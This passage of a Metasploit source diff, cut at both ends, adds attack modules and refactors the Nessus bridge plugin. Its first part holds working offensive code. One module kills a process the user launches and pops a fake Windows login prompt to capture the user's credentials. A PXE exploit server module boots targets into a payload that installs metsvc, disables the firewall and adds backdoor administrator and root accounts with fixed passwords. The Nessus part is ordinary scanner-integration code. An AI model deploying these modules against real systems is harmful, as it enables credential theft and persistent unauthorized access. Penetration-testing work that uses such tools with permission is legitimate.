needs your permissions to start. Please enter user credentials"]), + ], self.class) + + register_advanced_options( + [ + OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) + ], self.class) + end + + # Function to run the InvokePrompt powershell script + def execute_invokeprompt_script(description,process,path) + base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "Invoke-LoginPrompt.ps1")) + if process.nil? + sdescription = description.gsub("{PROCESS_NAME} needs your permissions to start. ", "") + psh_script = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt" + else + sdescription = description.gsub("{PROCESS_NAME}", process) + psh_script2 = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt" + psh_script = psh_script2.gsub("R{START_PROCESS}", "start-process \"#{path}\"") + end + compressed_script = compress_script(psh_script) + cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT']) + while(d = cmd_out.channel.read) + print_good("#{d}") + end + end + + # Function to monitor process creation + def procmon(process, description) + procs = [] + existingProcs = [] + detected = false + first = true + print_status("Monitoring new processes.") + while detected == false + sleep 1 + procs = client.sys.process.processes + procs.each do |p| + if p['name'] == process or process == "*" + if first == true + print_status("#{p['name']} is already running. Waiting on new instances to start") + existingProcs.push(p['pid']) + else + if !existingProcs.include? p['pid'] + print_status("New process detected: #{p['pid']} #{p['name']}") + killproc(p['name'],p['pid'], description,p['path']) + detected = true + end + end + end + end + first = false + end + end + + # Function to kill the process + def killproc(process,pid,description,path) + print_status("Killing the process and starting the popup script. Waiting on the user to fill in his credentials...") + client.sys.process.kill(pid) + execute_invokeprompt_script(description,process,path) + end + + # Main method + def run + process = datastore['PROCESS'] + description = datastore['DESCRIPTION'] + + # Powershell installed check + if have_powershell? + print_good("PowerShell is installed.") + else + fail_with(Failure::Unknown, "PowerShell is not installed") + end + + # Check whether target system is locked + locked = client.railgun.user32.GetForegroundWindow()['return'] + if locked == 0 + fail_with(Failure::Unknown, "Target system is locked. This post module cannot start the loginprompt when the target system is locked.") + end + + # Switch to check whether a specific process needs to be monitored, or just show the popup immediatly. + case process + when nil + print_status("Starting the popup script. Waiting on the user to fill in his credentials...") + execute_invokeprompt_script(description, nil, nil) + else + procmon(process, description) + end + end +end diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb new file mode 100644 index 0000000000..8692ed4a64 --- /dev/null +++ b/modules/post/windows/manage/pxeexploit.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Windows Manage PXE Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + See exploit/windows/misc/pxesploit for a version to deliver a specific payload. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + if not client.lanattacks + print_status("Loading lanattacks extension...") + client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.dhcp.reset + end + end + + #Not setting these options (using autodetect) + print_status("Loading DHCP options...") + client.lanattacks.dhcp.load_options(datastore) + + 0.upto(4) do |i| + print_status("Loading file #{i+1} of 5") + contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) + client.lanattacks.tftp.add_file("update#{i}",contents) + end + print_status("Starting TFTP server...") + client.lanattacks.tftp.start + print_status("Starting DHCP server...") + client.lanattacks.dhcp.start + print_status("PXEsploit attack started") + while (true) do + begin + # get stats every 20s + select(nil, nil, nil, 20) + client.lanattacks.dhcp.log.each do |item| + print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(item[1])})") + report_note({ + :type => 'PXE.client', + :data => item[0].unpack('H2H2H2H2H2H2').join(':') + }) + end + rescue ::Interrupt + print_status("Stopping TFTP server...") + client.lanattacks.tftp.stop + print_status("Stopping DHCP server...") + client.lanattacks.dhcp.stop + print_status("PXEsploit attack stopped") + return + end + end + end + +end diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index 40ef9b0a86..ba644df674 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -9,6 +9,9 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'post/windows/manage/pxeexploit') def initialize super( @@ -36,7 +39,8 @@ class Metasploit3 < Msf::Post register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), @@ -46,9 +50,6 @@ class Metasploit3 < Msf::Post end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = ::File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end if not client.lanattacks print_status("Loading lanattacks extension...") client.core.use("lanattacks") diff --git a/plugins/nessus.rb b/plugins/nessus.rb index fceab3f44f..19cabdee94 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -1,30 +1,190 @@ -# $Id$ -# $Revision$ - +# $Id$ $Revision$ require 'nessus/nessus-xmlrpc' require 'rex/parser/nessus_xml' module Msf + + PLUGIN_NAME = 'Nessus' + PLUGIN_DESCRIPTION = 'Nessus Bridge for Metasploit' + class Plugin::Nessus < Msf::Plugin - #creates the index of exploit details to make searching for exploits much faster. - def create_xindex - start = Time.now - print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") + def name + PLUGIN_NAME + end + + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + PLUGIN_NAME + end + + def xindex + "#{Msf::Config.get_config_root}/nessus_index" + end + + def nessus_yaml + "#{Msf::Config.get_config_root}/nessus.yaml" + end + + def msf_local + "#{Msf::Config.local_directory}" + end + + def cmd_nessus_index + nessus_index + end + + def commands + { + "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <verify_ssl>", + "nessus_admin" => "Checks if user is an admin", + "nessus_help" => "Get help on all commands", + "nessus_logout" => "Terminate the session", + "nessus_server_status" => "Check the status of your Nessus server", + "nessus_server_properties" => "Nessus server properties such as feed type, version, plugin set and server UUID", + "nessus_scanner_list" => "List all the scanners configured on the Nessus server", + "nessus_report_download" => "Download a report from the nessus server in either Nessus, HTML, PDF, CSV, or DB format", + "nessus_report_vulns" => "Get list of vulns from a report", + "nessus_report_hosts" => "Get list of hosts from a report", + "nessus_report_host_details" => "Get detailed information from a report item on a host", + "nessus_scan_list" => "List of currently running Nessus scans", + "nessus_scan_new" => "Create a new Nessus scan", + "nessus_scan_launch" => "Launch a previously added scan", + "nessus_scan_pause" => "Pause a running Nessus scan", + "nessus_scan_pause_all" => "Pause all running Nessus scans", + "nessus_scan_stop" => "Stop a running or paused Nessus scan", + "nessus_scan_stop_all" => "Stop all running or paused Nessus scans", + "nessus_scan_resume" => "Resume a paused Nessus scan", + "nessus_scan_resume_all" => "Resume all paused Nessus scans", + "nessus_scan_details" => "Return detailed information of a given scan", + "nessus_scan_export" => "Export a scan result in either Nessus, HTML, PDF, CSV, or DB format", + "nessus_scan_export_status" => "Check the status of scan export", + "nessus_user_list" => "List of Nessus users", + "nessus_user_add" => "Add a new Nessus user", + "nessus_user_del" => "Delete a Nessus user", + "nessus_user_passwd" => "Change Nessus Users Password", + "nessus_plugin_details" => "List details of a particular plugin", + "nessus_plugin_list" => "Display plugin details in a particular plugin family", + "nessus_policy_list" => "List all polciies", + "nessus_policy_del" => "Delete a policy", + "nessus_index" => "Manually generates a search index for exploits", + "nessus_template_list" => "List all the templates on the server", + "nessus_db_scan" => "Create a scan of all IP addresses in db_hosts", + "nessus_db_import" => "Import Nessus scan to the Metasploit connected database", + "nessus_save" => "Save credentials of the logged in user to nessus.yml", + "nessus_folder_list" => "List folders configured on the Nessus server", + "nessus_scanner_list" => "List the configured scanners on the Nessus server", + "nessus_family_list" => "List all the plugin families along with their corresponding family IDs and plugin count" + } + end + + def cmd_nessus_help(*args) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Command", + "Help Text" + ], + 'SortIndex' => -1 + ) + tbl << [ "Generic Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_connect", "Connect to a Nessus server" ] + tbl << [ "nessus_logout", "Logout from the Nessus server" ] + tbl << [ "nessus_login", "Login into the connected Nesssus server with a different username and password"] + tbl << [ "nessus_save", "Save credentials of the logged in user to nessus.yml"] + tbl << [ "nessus_help", "Listing of available nessus commands" ] + tbl << [ "nessus_server_properties", "Nessus server properties such as feed type, version, plugin set and server UUID." ] + tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] + tbl << [ "nessus_admin", "Checks if user is an admin" ] + tbl << [ "nessus_template_list", "List scan or policy templates" ] + tbl << [ "nessus_folder_list", "List all configured folders on the Nessus server" ] + tbl << [ "nessus_scanner_list", "List all the scanners configured on the Nessus server" ] + tbl << [ "Nessus Database Commands", "" ] + tbl << [ "-----------------", "-----------------" ] + tbl << [ "nessus_db_scan", "Create a scan of all IP addresses in db_hosts" ] + tbl << [ "nessus_db_import", "Import Nessus scan to the Metasploit connected database" ] + tbl << [ "", ""] + tbl << [ "Reports Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] + tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] + tbl << [ "nessus_report_host_details", "Get detailed information from a report item on a host" ] + tbl << [ "", ""] + tbl << [ "Scan Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_scan_list", "List of all current Nessus scans" ] + tbl << [ "nessus_scan_new", "Create a new Nessus Scan" ] + tbl << [ "nessus_scan_lauch", "Launch a newly created scan. New scans need to be manually launched through this command" ] + tbl << [ "nessus_scan_pause", "Pause a running Nessus scan" ] + tbl << [ "nessus_scan_pause_all", "Pause all running Nessus scans" ] + tbl << [ "nessus_scan_stop", "Stop a running or paused Nessus scan" ] + tbl << [ "nessus_scan_stop_all", "Stop all running or paused Nessus scans" ] + tbl << [ "nessus_scan_resume", "Resume a pasued Nessus scan" ] + tbl << [ "nessus_scan_resume_all", "Resume all paused Nessus scans" ] + tbl << [ "nessus_scan_details", "Return detailed information of a given scan" ] + tbl << [ "nessus_scan_export", "Export a scan result in either Nessus, HTML, PDF, CSV, or DB format" ] + tbl << [ "nessus_scan_export_status", "Check the status of an exported scan" ] + tbl << [ "", ""] + tbl << [ "Plugin Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_plugin_list", "List all plugins in a particular plugin family." ] + tbl << [ "nessus_family_list", "List all the plugin families along with their corresponding family IDs and plugin count." ] + tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] + tbl << [ "", ""] + tbl << [ "User Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_user_list", "Show Nessus Users" ] + tbl << [ "nessus_user_add", "Add a new Nessus User" ] + tbl << [ "nessus_user_del", "Delete a Nessus User" ] + tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] + tbl << [ "", ""] + tbl << [ "Policy Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_policy_list", "List all polciies" ] + tbl << [ "nessus_policy_del", "Delete a policy" ] + print_line "" + print_line tbl.to_s + print_line "" + end + + def ncusage + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status("nessus_connect username:password@hostname:port <ssl_verify>") + print_status("Example:> nessus_connect msf:msf@192.168.1.10:8834") + print_status("OR") + print_status("nessus_connect username@hostname:port ssl_verify") + print_status("Example:> nessus_connect msf@192.168.1.10:8834 ssl_verify") + print_status("OR") + print_status("nessus_connect hostname:port ssl_verify") + print_status("Example:> nessus_connect 192.168.1.10:8834 ssl_verify") + print_status("OR") + print_status("nessus_connect") + print_status("Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + return + end + + #creates the index of exploit details to make searching for exploits much faster. + def create_xindex + start = Time.now + print_status("Creating Exploit Search Index - (#{xindex}) - this won't take long.") count = 0 - # use Msf::Config.get_config_root as the location. - File.open("#{@xindex}", "w+") do |f| + #Use Msf::Config.get_config_root as the location. + File.open("#{xindex}", "w+") do |f| #need to add version line. f.puts(Msf::Framework::RepoRevision) framework.exploits.sort.each { |refname, mod| - stuff = "" - o = nil - begin - o = mod.new - rescue ::Exception - end - stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" - next if not o + stuff = "" + o = nil + begin + o = mod.new + rescue ::Exception + end + stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" + next if not o o.references.map do |x| if !(x.ctx_id == "URL") if (x.ctx_id == "MSB") @@ -40,250 +200,22 @@ module Msf end total = Time.now - start print_status("It has taken : #{total} seconds to build the exploits search index") - end - - def nessus_index - if File.exist?("#{@xindex}") - #check if it's version line matches current version. - File.open("#{@xindex}") {|f| - line = f.readline - line.chomp! - if line.to_i == Msf::Framework::RepoRevision - print_good("Exploit Index - (#{@xindex}) - is valid.") - else - create_xindex - end - } - else - create_xindex end - end - - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nessus" - end - - def commands - { - "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <ssl ok>.", - "nessus_admin" => "Checks if user is an admin.", - "nessus_help" => "Get help on all commands.", - "nessus_logout" => "Terminate the session.", - "nessus_server_status" => "Check the status of your Nessus Server.", - "nessus_server_feed" => "Nessus Feed Type.", - "nessus_server_prefs" => "Display Server Prefs.", - "nessus_report_list" => "List all Nessus reports.", - "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", - "nessus_report_del" => "Delete a report.", - "nessus_report_vulns" => "Get list of vulns from a report.", - "nessus_report_hosts" => "Get list of hosts from a report.", - "nessus_report_host_ports" => "Get list of open ports from a host from a report.", - "nessus_report_host_detail" => "Detail from a report item on a host.", - "nessus_scan_status" => "List all currently running Nessus scans.", - "nessus_scan_new" => "Create new Nessus Scan.", - "nessus_scan_pause" => "Pause a Nessus Scan.", - "nessus_scan_pause_all" => "Pause all Nessus Scans.", - "nessus_scan_stop" => "Stop a Nessus Scan.", - "nessus_scan_stop_all" => "Stop all Nessus Scans.", - "nessus_scan_resume" => "Resume a Nessus Scan.", - "nessus_scan_resume_all" => "Resume all Nessus Scans.", - "nessus_user_list" => "Show Nessus Users.", - "nessus_user_add" => "Add a new Nessus User.", - "nessus_user_del" => "Delete a Nessus User.", - "nessus_user_passwd" => "Change Nessus Users Password.", - "nessus_plugin_family" => "List plugins in a family.", - "nessus_plugin_details" => "List details of a particular plugin.", - "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", - "nessus_plugin_prefs" => "Display Plugin Prefs.", - "nessus_policy_list" => "List all polciies.", - "nessus_policy_del" => "Delete a policy.", - "nessus_index" => "Manually generates a search index for exploits.", - "nessus_template_list" => "List all the templates on the server.", - "nessus_db_scan" => "Create a scan of all ips in db_hosts.", - "nessus_save" => "Save username/passowrd/server/port details." + + def nessus_index + if File.exist?("#{xindex}") + #check if it's version line matches current version. + File.open("#{xindex}") { |f| + line = f.readline + line.chomp! + if line.to_i == Msf::Framework::RepoRevision + print_good("Exploit Index - (#{xindex}) - is valid.") + else + create_xindex + end } - end - - def cmd_nessus_index - Msf::Plugin::Nessus.nessus_index - end - - def cmd_nessus_save(*args) - #if we are logged in, save session details to nessus.yaml - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nessus_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = Hash.new - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - File.open("#{@nessus_yaml}", "w+") do |f| - f.puts YAML.dump(config) - end - print_good("#{@nessus_yaml} created.") - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nessus_db_scan(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_db_scan <policy id> <scan name>") - print_status(" Example:> nessus_db_scan 1 \"My Scan\"") - print_status() - print_status("Creates a scan based on all the hosts listed in db_hosts.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - pid = args[0].to_i - name = args[1] - else - print_status("Usage: ") - print_status(" nessus_db_scan <policy id> <scan name>") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - tgts = "" - framework.db.hosts(framework.db.workspace).each do |host| - tgts << host.address - tgts << "," - end - - tgts.chop! - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - - end - - def cmd_nessus_logout - @token = nil - print_status("Logged out") - system("rm #{@nessus_yaml}") - print_good("#{@nessus_yaml} removed.") - return - end - - def cmd_nessus_help(*args) - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - "Command", - "Help Text" - ], - 'SortIndex' => -1 - ) - tbl << [ "Generic Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_connect", "Connect to a nessus server" ] - tbl << [ "nessus_save", "Save nessus login info between sessions" ] - tbl << [ "nessus_logout", "Logout from the nessus server" ] - tbl << [ "nessus_help", "Listing of available nessus commands" ] - tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] - tbl << [ "nessus_admin", "Checks if user is an admin" ] - tbl << [ "nessus_server_feed", "Nessus Feed Type" ] - tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] - tbl << [ "nessus_server_prefs", "Display Server Prefs" ] - tbl << [ "", ""] - tbl << [ "Reports Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_report_list", "List all Nessus reports" ] - tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] - tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] - tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] - tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] - tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] - tbl << [ "", ""] - tbl << [ "Scan Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] - tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] - tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] - tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] - tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] - tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] - tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] - tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] - tbl << [ "", ""] - tbl << [ "Plugin Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] - tbl << [ "nessus_plugin_family", "List plugins in a family" ] - tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] - tbl << [ "", ""] - tbl << [ "User Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_user_list", "Show Nessus Users" ] - tbl << [ "nessus_user_add", "Add a new Nessus User" ] - tbl << [ "nessus_user_del", "Delete a Nessus User" ] - tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] - tbl << [ "", ""] - tbl << [ "Policy Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_policy_list", "List all polciies" ] - tbl << [ "nessus_policy_del", "Delete a policy" ] - print_status "" - print_line tbl.to_s - print_status "" - end - - def cmd_nessus_server_feed(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_feed") - print_status(" Example:> nessus_server_feed") - print_status() - print_status("Returns information about the feed type and server version.") - return - end - - if nessus_verify_token - @feed, @version, @web_version = @n.feed - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Feed', - 'Nessus Version', - 'Nessus Web Version' - ]) - tbl << [@feed, @version, @web_version] - print_good("Nessus Status") - print_good "\n" - print_line tbl.to_s + create_xindex end end @@ -295,39 +227,11 @@ module Msf true end - def nessus_verify_db - - if ! (framework.db and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - true - end - - def ncusage - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port <ssl ok>") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - return - end - def cmd_nessus_connect(*args) # Check if config file exists and load it - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if ! args[0] - if File.exist?("#{@nessus_yaml}") - lconfig = YAML.load_file("#{@nessus_yaml}") + if !args[0] + if File.exist?(nessus_yaml) + lconfig = YAML.load_file(nessus_yaml) @user = lconfig['default']['username'] @pass = lconfig['default']['password'] @host = lconfig['default']['server'] @@ -339,43 +243,29 @@ module Msf return end end - + if args[0] == "-h" print_status("%redYou must do this before any other commands.%clr") print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port <ssl ok>") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - print_status() + print_status("nessus_connect username:password@hostname:port <ssl_verify/ssl_ignore>") print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") - print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") - print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") - print_status("The \"ok\" on the end is important. It is a way of letting you") - print_status("know that nessus used a self signed cert and the risk that presents.") + print_status("%bldhostname%clr can be an IP address or a DNS name of the Nessus server.") + print_status("%bldport%clr is the RPC port that the Nessus web front end runs on. By default it is TCP port 8834.") + print_status("The \"ssl_verify\" to verify the SSL certificate used by the Nessus front end. By default the server") + print_status("use a self signed certificate, therefore, users should use ssl_ignore.") return end - - if ! @token == '' - print_error("You are already authenticated. Call nessus_logout before authing again") + + if !@token == '' + print_error("You are already authenticated. Call nessus_logout before authenticating again") return end - if(args.length == 0 or args[0].empty?) ncusage return end - + @user = @pass = @host = @port = @sslv = nil - case args.length when 1,2 if args[0].include? "@" @@ -390,7 +280,6 @@ module Msf @port ||= '8834' @sslv = args[1] end - when 3,4,5 ncusage return @@ -398,656 +287,433 @@ module Msf ncusage return end - if /\/\//.match(@host) ncusage return end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - if ! @user + if !@user print_error("Missing Username") ncusage return end - - if ! @pass + if !@pass print_error("Missing Password") ncusage return end - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + if !((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) ncusage return end nessus_login end - def nessus_login + def cmd_nessus_logout + logout = @n.user_logout + status = logout.to_s + if status == "200" + print_good("User account logged out successfully") + @token = "" + elsif status == "403" + print_status("No user session to logout") + else + print_error("There was some problem in logging out the user #{@user}") + end + return + end - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + def nessus_login + if !((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) print_status("You need to connect to a server first.") ncusage return end - @url = "https://#{@host}:#{@port}/" print_status("Connecting to #{@url} as #{@user}") - @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) - @token=@n.login(@user,@pass) - if @n.logged_in - print_status("Authenticated") + @n = Nessus::Client.new(@url, @user, @pass,@sslv) + if @n.authenticated + print_status("User #{@user} authenticated successfully.") + @token = 1 else print_error("Error connecting/logging to the server!") return end end - def cmd_nessus_report_list(*args) - + def cmd_nessus_save(*args) + #if we are logged in, save session details to nessus.yaml if args[0] == "-h" + print_status(" nessus_save") + return + end + if args[0] print_status("Usage: ") - print_status(" nessus_report_list") - print_status(" Example:> nessus_report_list") - print_status() - print_status("Generates a list of all reports visable to your user.") + print_status("nessus_save") return end - - if ! nessus_verify_token - return - end - - list=@n.report_list_hash - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Status', - 'Date' - ]) - - list.each {|report| - t = Time.at(report['timestamp'].to_i) - tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus Report List") - print_good "\n" - print_line tbl.to_s + "\n" - print_status("You can:") - print_status(" Get a list of hosts from the report: nessus_report_hosts <report id>") - end - - def check_scan(*args) - - case args.length - when 1 - rid = args[0] - else - print_error("No Report ID Supplied") - return - end - - scans = @n.scan_list_hash - scans.each {|scan| - if scan['id'] == rid - return true + group = "default" + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = Hash.new + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + File.open("#{nessus_yaml}", "w+") do |f| + f.puts YAML.dump(config) end - } - return false - end - - def cmd_nessus_report_get(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_get <report id>") - print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("This command pulls the provided report from the nessus server in the nessusv2 format") - print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") - print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") - print_status("Use: nessus_report_list to obtain a list of report id's") - return - end - - if ! nessus_verify_token - return - end - - if ! nessus_verify_db - return - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nessus_report_get <report id> ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - rid = nil - - case args.length - when 1 - rid = args[0] + print_good("#{nessus_yaml} created.") else - print_status("Usage: ") - print_status(" nessus_report_get <report id> ") - print_status(" use nessus_report_list to list all available reports for importing") + print_error("Missing username/password/server/port - relogin and then try again.") return end - - if check_scan(rid) - print_error("That scan is still running.") - return - end - content = nil - content=@n.report_file_download(rid) - if content.nil? - print_error("Failed, please reauthenticate") - return - end - print_status("importing " + rid) - framework.db.import({:data => content}) do |type,data| - case type - when :address - print_line("%bld%blu[*]%clr %bld#{data}%clr") - end - end - print_good("Done") end - def cmd_nessus_scan_status(*args) - + def cmd_nessus_server_properties(*args) if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_status") - print_status(" Example:> nessus_scan_status") + print_status("nessus_server_feed") + print_status("Example:> nessus_server_feed") print_status() - print_status("Returns a list of information about currently running scans.") + print_status("Returns information about the feed type and server version.") return end - - if ! nessus_verify_token - return - end - - list=@n.scan_list_hash - if list.empty? - print_status("No Scans Running.") - print_status("You can:") - print_status(" List of completed scans: 